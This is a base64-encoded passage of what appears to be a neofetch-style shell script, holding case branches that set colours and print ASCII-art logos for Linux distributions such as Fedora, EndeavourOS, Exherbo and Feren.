AgICAgYC95eXl5czoKYDpvc3Nzb29vbysrLSAgICAgICAgK3l5eXl5eS9gCiAgIC4veXl5eXl5byAgICAgICAgIHlvYDpzeXl5eSsuCiAgICAgIC1veXl5KyAgICAgICAgICstICAgOnl5eXl5by0KICAgICAgICBgOnN5OiAgICAgICAgYC4gICAgYC95eXl5eXM6CiAgICAgICAgICAgLi9vLy5gICAgICAgICAgICAub3l5c28rb286YAogICAgICAgICAgICAgIDorb28rLy86Ojo6Ly8vOi0uYCAgICAgYC5gCkVPRgogICAgICAgIDs7CgogICAgICAgICJEYXJrT3MiKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNiA1IDMgMgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKCiR7YzN94qCA4qCA4qCA4qCAICDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioqDioKLioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjMX3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiooDio7bioIvioYbiornioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjNX3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiooDioYbiooDio6TiopvioJvio6Dio7/ioIDioY/ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjNn3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiooDio7bio7/ioJ/io6HioIrio6Dio77io7/ioIPio6DioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjMn3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDio7Tio6/io7/ioIDioIrio6Tio7/io7/io7/ioIPio7Tio6fio4Tio4DioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjMX3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiooDio6Tio7bio7/io7/ioZ/io6Dio7bio7/io7/io7/ioovio6TioL/ioJvioIniooHio63io73ioIvioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjNH0gIOKggOKggOKggOKggOKggOKggCDioIDio6DioJbioa3ioonio7/io6/io7/io6/io7/io7/io7/io5/io6fioJvioonio6Tio7bio77io7/io7/ioIvioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjNX3ioIDioIDioIDioIDioIDioIDioIDioIDio7Tio6vioJPiorHio6/io7/ior/ioIvioJviopvioJ/ioK/ioLbiop/io7/io6/io7/io7/io7/io7/io7/io7/io6bio4TioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjMn3ioIDioIDioIDioIDioIDioIDiooDioa7iooHio7Tio7/io7/io7/ioJbio6DioJDioInioIDioIDioIDioIDioIDioIDioIDioIDioIDioInioInioInioJvioJvioJvior/io7bio4TioIDioIDioIDioIDioIDioIDioIAKJHtjM33ioIDioIDioIDioIDiooDio6Tio7fio7/io7/ioL/iopvio63ioJLioInioIDioIDioIDio4Dio4Dio4Tio6Tio6Tio7Tio7bio7bio7bio7/io7/io7/io7/io7/ioL/ioIvioIHioIDioIDioIDioIDioIDioIDioIDioIAKJHtjMX3ioIDiooDio7bioI/ioJ/ioJ3ioIniooDio6Tio7/io7/io7bio77io7/io7/io7/io7/io7/io7/io5/ior/io7/io7/io7/io7/io7/io7/io7/io7/io7/io6fioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjNn3iorTio6/io6Tio7bio7/io7/io7/io7/io7/iob/io7/io6/ioInioInioInioInioIDioIDioIDioIjio7/ioYDio5/io7/io7/ior/io7/io7/io7/io7/io7/io6bioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjNX3ioIDioIDioIDioInioJvio7/io6fioIDio4bioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDio7/ioIPio7/io7/io6/io7/io6bioYDioIDioInioLvio7/io6bioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjM33ioIDioIDioIDioIDioIDioIDioInior/io67io6bioIDioIDioIDioIDioIDioIDioIDioIDioIDio7zio7/ioIDio6/ioInioInioJvior/io7/io7fio4TioIDioIjiorvio4bioIDioIDioIDioIDioIDioIDioIDioIAKJHtjMn3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioInioKLioIDioIDioIDioIDioIDioIDioIDiooDioqHioIPio77io7/io7/io6bioIDioIDioIDioJnior/io7/io6TioIDioJnio4TioIDioIDioIDioIDioIDioIDioIAKJHtjNn3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiooDioovioZ/ioqDio7/io7/io7/ioIvior/io4TioIDioIDioIDioIjioYTioJnio7bio4jioYTioIDioIDioIDioIDioIDioIAKJHtjMX3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioJDioJriorLio7/ioIDio77io7/io7/ioIHioIDioIDioIniorfioYDioIDioIDio4fioIDioIDioIjioLvioYDioIDioIDioIDioIDioIAKJHtjNH3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioqLio4Dio7/ioY/ioIDio7/iob/ioIDioIDioIDioIDioIDioIDioJnio6bioIDioqfioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjM33ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDiorjioL/io6fio77io7/ioIDioIDioIDioIDioIDioIDioIDioIDioIDioJnio67ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKJHtjNX3ioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioInioJnioJvioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIDioIAKCkVPRgogICAgICAgIDs7CgogICAgICAgICJJdGMiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfS4uLi4uLi4uLi4uLi4uLi4uLi4uLT09PT09PT09PT09PT09Ky4uLgoke2MxfS4uLi4uLi4uLi4uLi4uLi4uLi4uLT09PT09PT09PT09PT09Oi4uLgoke2MxfS4uLjo9PT09PT09PT09PS0uLi4uLT09PT09PT09PT09PT09Oi4uLgoke2MxfS4uLi09PT09PT09PT09PTouLi4uLT09PT09PT09PT09PT09LS4uLgoke2MxfS4uLi4qPT09PT09PT09PSsuLi4uLi4uLi06OioqKioqKioqLS4uLgoke2MxfS4uLi4qPT09PT09PT09PT0rLjoqPT09PSoqPT0qKy0uLS4uLi4uLgoke2MxfS4uLi46PT09PT09PT09PT09KistLi4tLTorKio9PT09Ki0tLS4uLgoke2MxfS4uLi4uLjo6LS0uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi46Oi4uLgoke2MxfS4uKy06Ky0uKzo6KjorOjorOi0rKzo6KystLjotLiouOisrOisrLgoke2MxfS4uOi06LSsrKys6LTo6LS06Kzo6LTo6LjorKy0rKzorKy0tOi06LiAgICDioIDioIDioIDioIDioIAK4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCA4qCACkVPRgogICAgICAgIDs7CgogICAgICAgICJkcmFnb25mbHlfb2xkIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiAgICAgJHtjMX0gICAgICAgICAgICAgICAgICAgLi0uCiAgICAgICAgICAgICAgICAgJHtjM30gKCkke2MxfUkke2MzfSgpCiAgICAgICAgICAgICR7YzF9ICI9PS5fXzotOl9fLj09IgogICAgICAgICAgICAiPT0uX18vfnx+XF9fLj09IgogICAgICAgICAgICAiPT0uXyggIFkgIClfLj09IgogJHtjMn0uLSd+fiIifj0tLS4uLixfXyR7YzF9XC98XC8ke2MyfV9fLC4uLi0tPX4iIn5+Jy0uCiggICAgICAgICAgICAgICAuLj0ke2MxfVxcPSR7YzF9LyR7YzJ9PS4uICAgICAgICAgICAgICAgKQogYCctLiAgICAgICAgLC4tImA7JHtjMX0vPVxcJHtjMn07Ii0uLF8gICAgICAgIC4tJ2AKICAgICBgfiItPS1+YCAuLX5gICR7YzF9fD18JHtjMn0gYH4tLiBgfi09LSJ+YAogICAgICAgICAgLi1+YCAgICAvJHtjMX18PXwke2MyfVwgICAgYH4tLgogICAgICAgLn5gICAgICAgIC8gJHtjMX18PXwke2MyfSBcICAgICAgIGB+LgogICAuLX5gICAgICAgICAuJyAgJHtjMX18PXwke2MyfSAgYC4gICAgICAgIGB+LS4KIChgICAgICBfLC4tPSJgICAke2MxfSAgfD18JHtjMn0gICAgYCI9LS4sXyAgICAgYCkKICBgfiJ+ImAgICAgICAgICR7YzF9ICAgfD18JHtjMn0gICAgICAgICAgIGAifiJ+YAogICAgICAgICAgICAgICAgICR7YzF9ICAvPVxcCiAgICAgICAgICAgICAgICAgICBcXD0vCiAgICAgICAgICAgICAgICAgICAgXgpFT0YKICAgICAgICA7OwoKICAgICAgICAiZHJhZ29uZmx5X3NtYWxsIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgLCR7YzF9XyR7YzJ9LAooJy1fJHtjMX18JHtjMn1fLScpCiA+LS0ke2MxfXwke2MyfS0tPAooXy0nJHtjMX18JHtjMn0nLV8pCiAgICAke2MxfXwKICAgIHwKICAgIHwKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkRyYWdvbkZseSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSwtLSwgICAgICAgICAgICR7YzF9fCAgICAgICAgICAgJHtjMn0sLS0sCiR7YzJ9fCAgIGAtLCAgICAgICAke2MxfSxeLCAgICAgICAke2MyfSwtJyAgIHwKJHtjMn0gYCwgICAgYC0sICAgJHtjM30oLyBcKSAgICR7YzJ9LC0nICAgICwnCiR7YzJ9ICAgYC0sICAgIGAtLCR7YzF9LyAgIFwke2MyfSwtJyAgICAsLScKJHtjMn0gICAgICBgLS0tLS0tJHtjMX0oICAgKSR7YzJ9LS0tLS0tJwoke2MyfSAgLC0tLS0tLS0tLS0ke2MxfSggICApJHtjMn0tLS0tLS0tLS0tLAoke2MyfSB8ICAgICAgICBfLC0ke2MxfSggICApJHtjMn0tLF8gICAgICAgIHwKJHtjMn0gIGAtLF9fLC0nICAgJHtjMX1cICAgLyR7YzJ9ICAgYC0sX18sLScKJHtjMX0gICAgICAgICAgICAgIHwgfAogICAgICAgICAgICAgIHwgfAogICAgICAgICAgICAgIHwgfAogICAgICAgICAgICAgIHwgfAogICAgICAgICAgICAgIHwgfAogICAgICAgICAgICAgIHwgfAogICAgICAgICAgICAgIGB8JwpFT0YKICAgICAgICA7OwoKICAgICAgICAiRHJhdWdlciIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAtYGAtCiAgICAgICAgICAgICAgICBgOitgYCs6YAogICAgICAgICAgICAgICBgLysrYGArKy8uCiAgICAgICAgICAgICAgLisrLy4gIC4vKysuCiAgICAgICAgICAgICA6KysvYCAgICBgLysrOgogICAgICAgICAgIGAvKys6ICAgICAgICA6KysvYAogICAgICAgICAgLi8rLy0gICAgICAgICAgLS8rLy4KICAgICAgICAgLSsrLy4gICAgICAgICAgICAuLysrLQogICAgICAgIDorKzpgICAgICAgICAgICAgICBgOisrOgogICAgICBgLysrLSAgICAgICAgICAgICAgICAgIC0rKy9gCiAgICAgLi8rKy4gICAgICAgICAgICAgICAgICAgIC4vKy8uCiAgICAtKysvYCAgICAgICAgICAgICAgICAgICAgICBgLysrLQogICA6Kys6YCAgICAgICAgICAgICAgICAgICAgICAgIGA6Kys6CiBgLysrLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAtKysvYAouOi0uYC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLmAuLTouCmAuLS8rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKy8tLmAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgImVsZW1lbnRhcnlfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gIF9fX19fX18KIC8gX19fXyAgXFwKLyAgfCAgLyAgL1xcCnxfX1xcIC8gIC8gfApcXCAgIC9fXy8gIC8KIFxcX19fX19fXy8KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkVsZW1lbnRhcnkiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICBlZWVlZWVlZWVlZWVlZWVlZQogICAgICBlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZQogICAgZWVlZWUgIGVlZWVlZWVlZWVlZSAgIGVlZWVlCiAgZWVlZSAgIGVlZWVlICAgICAgIGVlZSAgICAgZWVlZQogZWVlZSAgIGVlZWUgICAgICAgICAgZWVlICAgICBlZWVlCmVlZSAgICBlZWUgICAgICAgICAgICBlZWUgICAgICAgZWVlCmVlZSAgIGVlZSAgICAgICAgICAgIGVlZSAgICAgICAgZWVlCmVlICAgIGVlZSAgICAgICAgICAgZWVlZSAgICAgICBlZWVlCmVlICAgIGVlZSAgICAgICAgIGVlZWVlICAgICAgZWVlZWVlCmVlICAgIGVlZSAgICAgICBlZWVlZSAgICAgIGVlZWVlIGVlCmVlZSAgIGVlZWUgICBlZWVlZWUgICAgICBlZWVlZSAgZWVlCmVlZSAgICBlZWVlZWVlZWVlICAgICBlZWVlZWUgICAgZWVlCiBlZWVlZWVlZWVlZWVlZWVlZWVlZWVlZWUgICAgZWVlZWUKICBlZWVlZWVlZSBlZWVlZWVlZWVlZWUgICAgICBlZWVlCiAgICBlZWVlZSAgICAgICAgICAgICAgICAgZWVlZWUKICAgICAgZWVlZWVlZSAgICAgICAgIGVlZWVlZWUKICAgICAgICAgZWVlZWVlZWVlZWVlZWVlZWUKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkVuZGVhdm91ck9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA1IDQKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAgLi8ke2MyfW8ke2MzfS4KJHtjMX0gICAgICAgICAgICAgICAgICAgLi8ke2MyfXNzc3NvJHtjM30tCiR7YzF9ICAgICAgICAgICAgICAgICBgOiR7YzJ9b3Nzc3Nzc3MrJHtjM30tCiR7YzF9ICAgICAgICAgICAgICAgYDorJHtjMn1zc3Nzc3Nzc3NzbyR7YzN9Ly4KJHtjMX0gICAgICAgICAgICAgYC0vbyR7YzJ9c3Nzc3Nzc3Nzc3Nzc28ke2MzfS8uCiR7YzF9ICAgICAgICAgICBgLS8rJHtjMn1zc3Nzc3Nzc3Nzc3Nzc3NzbyR7YzN9KzpgCiR7YzF9ICAgICAgICAgYC06Lyske2MyfXNzc3Nzc3Nzc3Nzc3Nzc3Nzc28ke2MzfSsvLgoke2MxfSAgICAgICBgLjovL28ke2MyfXNzc3Nzc3Nzc3Nzc3Nzc3Nzc3NzbyR7YzN9KystCiR7YzF9ICAgICAgLjovLyske2MyfXNzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NzbyR7YzN9Kys6CiR7YzF9ICAgIC46Ly8vbyR7YzJ9c3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc28ke2MzfSsrOgoke2MxfSAgYDovLy8vJHtjMn1zc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NvJHtjM30rKysuCiR7YzF9YC0vLy8vKyR7YzJ9c3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NzbyR7YzN9KysrKy0KJHtjMX0gYC4uLSske2MyfW9vc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NzbyR7YzN9KysrKysvYAogICAuLysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKy86LgogIGA6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6LS0tLS0tYGAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkVuZGxlc3MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICBgOit5aG1OTU1NTU5taHkrOmAKICAgICAgICAtb2RNTU5oc28vLy8vLy9vc2hOTU1kby0KICAgICAgL2RNTWgrLiAgICAgICAgICAgICAgLitoTU1kLwogICAgL21NTm9gICAgICAgICAgICAgICAgICAgICBgb05NbToKICBgeU1Nb2AgICAgICAgICAgICAgICAgICAgICAgICBgb01NeWAKIGBkTU4tICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OTWRgCiBoTU4uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLk5NaAovTU0vICAgICAgICAgICAgICAgICAgLW9zYCAgICAgICAgICAvTU0vCmRNbSAgICBgc21ObW1ocy8tIGA6c05NZCsgICBgYCAgICAgICBtTWQKTU15ICAgIG9NZC0tOit5TU1NTU1Oby46b2htTU1NTnlgICAgIHlNTQpNTXkgICAgLU5OeXlobU1OaCtvTk1NTU1NeTouICBkTW8gICAgeU1NCmRNbSAgICAgYC8rKy8tYGAveU5OaCsvc2ROTU5kZE1tLSAgICBtTWQKL01NLyAgICAgICAgICBgZE55OiAgICAgICBgLTo6LSAgICAgL01NLwogaE1OLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5OTWgKIGBkTU4tICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OTWRgCiAgYHlNTW9gICAgICAgICAgICAgICAgICAgICAgICAgYG9NTXlgCiAgICAvbU1Ob2AgICAgICAgICAgICAgICAgICAgIGBvTk1tLwogICAgICAvZE1NaCsuICAgICAgICAgICAgICAuK2hNTWQvCiAgICAgICAgLW9kTU1OaHNvLy8vLy8vb3NoTk1NZG8tCiAgICAgICAgICAgYDoreWhtTk1NTU1ObWh5KzpgCkVPRgogICAgICAgIDs7CgogICAgICAgICJFdXJvTGludXgiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgIF9fCiAgICAgICAgIC13d3dXV1dXV1dXV1d3d3ctCiAgICAgICAgLVdXV1dXV1dXV1dXV1dXV1dXV3ctCiAgICAgICAgICBcV1dXV1dXV1dXV1dXV1dXV1dXVy0KICBfV3cgICAgICBgV1dXV1dXV1dXV1dXV1dXV1dXV3cKIC1XJHtjMn1FJHtjMX1Xd3cgICAgICAgICAgICAgICAgLVdXV1dXV1dXVy0KX1dXJHtjMn1VJHtjMX1XV1dXLSAgICAgICAgICAgICAgICBfV1dXV1dXV1cKX1dXJHtjMn1SJHtjMX1XV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1ctCndXVyR7YzJ9TyR7YzF9V1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXVwpXV1cke2MyfUwke2MxfVdXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV3cKV1dXJHtjMn1JJHtjMX1XV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXd3ctCndXVyR7YzJ9TiR7YzF9V1dXV3cKIFdXJHtjMn1VJHtjMX1XV1dXV1d3CiB3VyR7YzJ9WCR7YzF9V1dXV1dXV1d3dwogICB3V1dXV1dXV1dXV1dXV1dXdwogICAgd1dXV1dXV1dXV1dXV1dXV3cKICAgICAgIFdXV1dXV1dXV1dXV1d3CiAgICAgICAgICAgd1dXV1dXV1d3CkVPRgogICAgICAgIDs7CgogICAgICAgICJFeGhlcmJvIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICwKT1hvLgpOWGRYMDogICAgLmNvazBLWE5OWFhLMGtvOi4KS1ggICcwWGRLTU1LOy54TU1NaywgLjBNTU1NTVh4OyAgLi4uCidOTy4ueFdrTU14ICAga01NTSAgICBjTU1NTU1YLE5NV094T1hkLgogIGNOTWsgIE5LICAgIC5vWE0uICAgT01NTU1PLiAwTU1ObyAga1cuCiAgbE1jICAgbzogICAgICAgLiwgICAub0tOazsgICA7Tk1NV2x4VycKIDtNYyAgICAuLiAgIC4sLCcgICAgLjBNJHtjMX1nOyR7YzJ9V01OJ2RXTU1NTU1NTwogWFggICAgICAgICxXTU1NTVcuICBjTSR7YzF9Y2ZsaSR7YzJ9V01LbG8uICAgLmtNawouTW8gICAgICAgIC5XTSR7YzF9R0Qke2MyfU1XLiAgIFhNJHtjMX1XTzAke2MyfU1NayAgICAgICAgb01sCixNOiAgICAgICAgICxYTU1XeDo6LCcnb09LMHg7ICAgICAgICAgIE5NLgonTWwgICAgICAsa05LT3h4eHh4a2tPMFhYS09kOi4gICAgICAgICBvTWsKIE5LICAgIC4wTnhjJHtjM306Ojo6Ojo6Ojo6Ojo6Ojoke2MyfWZrS05rLCAgICAgIC5NVwogLE1vICAuTlhjJHtjM306OiR7YzJ9cVhXWGIke2MzfTo6Ojo6Ojo6Ojoke2MyfW9vJHtjM306OiR7YzJ9bE5LLiAgICAuTVcKICA7V28gb01kJHtjM306Ojoke2MyfW9OTU5QJHtjM306Ojo6Ojo6OiR7YzJ9b1dNTU14JHtjM306JHtjMn1jME07ICAgbE1PCiAgICdOTztXMGMke2MzfTo6Ojo6Ojo6Ojo6Ojo6OiR7YzJ9ZE1NTU1PJHtjM306OiR7YzJ9bE1rICAuV00nCiAgICAgeFdPTlhkYyR7YzN9Ojo6Ojo6Ojo6Ojo6Ojoke2MyfW9PT28ke2MzfTo6JHtjMn1sWE4uICxXTWQKICAgICAgJ0tXV05YWEswT2t4eG8sJHtjM306Ojo6Ojo6JHtjMn0sbGtLTm8gIHhNTU8KICAgICAgICA6WE1OeGwsJzs6bG9keGtPTzAwME94Yy4gLm9XTU1vCiAgICAgICAgICAnZFhNTVhrbDssLiAgICAgICAgLixvME1NTm8nCiAgICAgICAgICAgICAnOmQwWFdNTU1NV05OTk5NTU1OT2wnCiAgICAgICAgICAgICAgICAgICAnOm9rS1hXTktrbCcKRU9GCiAgICAgICAgOzsKCiAgICAgICAgImZlZG9yYV9zbWFsbCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgMTIKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAsJycnJycuCiAgICAgICB8ICAgLC4gIHwKICAgICAgIHwgIHwgICdfJwogICwuLi4ufCAgfC4uCi4nICAsXzt8ICAgLi4nCnwgIHwgICB8ICB8CnwgICcsXywnICB8CiAnLiAgICAgLCcKICAgJycnJycKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkZlZG9yYV9vbGQiKiB8ICJSRlJlbWl4IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgIC86LS0tLS0tLS0tLS0tLTpcXAogICAgICAgOi0tLS0tLS0tLS0tLS0tLS0tLS06OgogICAgIDotLS0tLS0tLS0tLSR7YzJ9L3NoaE9IYm1wJHtjMX0tLS06XFwKICAgLy0tLS0tLS0tLS0tJHtjMn1vbU1NTU5OTk1NRCAgJHtjMX0tLS06CiAgOi0tLS0tLS0tLS0tJHtjMn1zTU1NTU5NTk1QJHtjMX0uICAgIC0tLToKIDotLS0tLS0tLS0tLSR7YzJ9Ok1NTWRQJHtjMX0tLS0tLS0tICAgIC0tLVxcCiwtLS0tLS0tLS0tLS0ke2MyfTpNTU1kJHtjMX0tLS0tLS0tLSAgICAtLS06CjotLS0tLS0tLS0tLS0ke2MyfTpNTU1kJHtjMX0tLS0tLS0tICAgIC4tLS06CjotLS0tICAgICR7YzJ9b05NTU1NTU1NTU1OaG8ke2MxfSAgICAgLi0tLS06CjotLSAgICAgLiR7YzJ9K3NoaGhNTU1taGh5Kyske2MxfSAgIC4tLS0tLS0vCjotICAgIC0tLS0tLS0ke2MyfTpNTU1kJHtjMX0tLS0tLS0tLS0tLS0tLToKOi0gICAtLS0tLS0tLSR7YzJ9L01NTWQke2MxfS0tLS0tLS0tLS0tLS07CjotICAgIC0tLS0tLSR7YzJ9L2hNTU15JHtjMX0tLS0tLS0tLS0tLS06CjotLSR7YzJ9IDpkTU5kaGhkTk1NTm8ke2MxfS0tLS0tLS0tLS0tLTsKOi0tLSR7YzJ9OnNkTk1NTU1OZHM6JHtjMX0tLS0tLS0tLS0tLS06CjotLS0tLS0ke2MyfTo6Ly86JHtjMX0tLS0tLS0tLS0tLS0tOjoKOi0tLS0tLS0tLS0tLS0tLS0tLS0tLTovLwpFT0YKICAgICAgICA7OwoKICAgICAgICAiRmVkb3JhIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMTIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgLicsOzo6Ojo7LCcuCiAgICAgICAgIC4nOzpjY2NjY2NjY2NjY2M6OywuCiAgICAgIC47Y2NjY2NjY2NjY2NjY2NjY2NjY2NjYzsuCiAgICAuOmNjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjOi4KICAuO2NjY2NjY2NjY2NjY2M7JHtjMn0uOmRkZGw6LiR7YzF9O2NjY2NjY2M7LgogLjpjY2NjY2NjY2NjY2NjOyR7YzJ9T1dNS09PWE1XZCR7YzF9O2NjY2NjY2M6LgouOmNjY2NjY2NjY2NjY2M7JHtjMn1LTU1jJHtjMX07Y2M7JHtjMn14TU1jJHtjMX07Y2NjY2NjYzouCixjY2NjY2NjY2NjY2NjYzske2MyfU1NTS4ke2MxfTtjYzske2MyfTtXVzoke2MxfTtjY2NjY2NjYywKOmNjY2NjY2NjY2NjY2NjOyR7YzJ9TU1NLiR7YzF9O2NjY2NjY2NjY2NjY2NjY2M6CjpjY2NjY2NjOyR7YzJ9b3hPT09vJHtjMX07JHtjMn1NTU0wT09rLiR7YzF9O2NjY2NjY2NjY2NjYzoKY2NjY2NjOyR7YzJ9ME1NS3hkZDoke2MxfTske2MyfU1NTWtkZGMuJHtjMX07Y2NjY2NjY2NjY2NjOwpjY2NjYzske2MyfVhNMCcke2MxfTtjY2NjOyR7YzJ9TU1NLiR7YzF9O2NjY2NjY2NjY2NjY2NjY2MnCmNjY2NjOyR7YzJ9TU1vJHtjMX07Y2NjY2M7JHtjMn1NTVcuJHtjMX07Y2NjY2NjY2NjY2NjY2NjOwpjY2NjYzske2MyfTBNTmMuJHtjMX1jY2Mke2MyfS54TU1kJHtjMX07Y2NjY2NjY2NjY2NjY2NjOwpjY2NjY2M7JHtjMn1kTk1XWFhYV00wOiR7YzF9O2NjY2NjY2NjY2NjY2NjOiwKY2NjY2NjY2M7JHtjMn0uOm9kbDouJHtjMX07Y2NjY2NjY2NjY2NjY2M6LC4KOmNjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2M6Jy4KLjpjY2NjY2NjY2NjY2NjY2NjY2NjY2NjOjssLi4KICAnOjpjY2NjY2NjY2NjY2NjYzo6OywuCkVPRgogICAgICAgIDs7CgogICAgICAgICJGZXJlbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSBgLS0tLS0tLS0tLWAKIDorb29vb29vb29vKy4KLW8rb29vb29vb29vbystCi4uYC8rKysrKysrKysrKy8uLi5gYGBgYGBgYGBgYGBgYGBgYAogICAuKysrKysrKysrKysrKysrKysrKysrKysrKysvLy8vLy0KICAgICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrLy86YAogICAgLSsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKy8tYAogICAgICsrKysrKysrKysrKysrKysrKysrKysrKysrKys6LgogICAgIC0rKysrKysrKysrKysrKysrKysrKysrKysvLgogICAgICArKysrKysrKysrKysrKysrKysrKysvLWAKICAgICAgLSsrKysrKysrKysrKysrKysrKy8vLWAKICAgICAgICAuOisrKysrKysrKysrKysvLy8vLy8tCiAgICAgICAgICAgLjorKysrKysrKy8vLy8vLy8vLy8tCiAgICAgICAgICAgICBgLSsrKysrKy0tLTo6OjovLy8vLy4KICAgICAgICAgICBgLjovLy8rKysuICAgICAgICAgICAgIGAKICAgICAgICAgIGAuLi4uLi4uLi4KRU9GC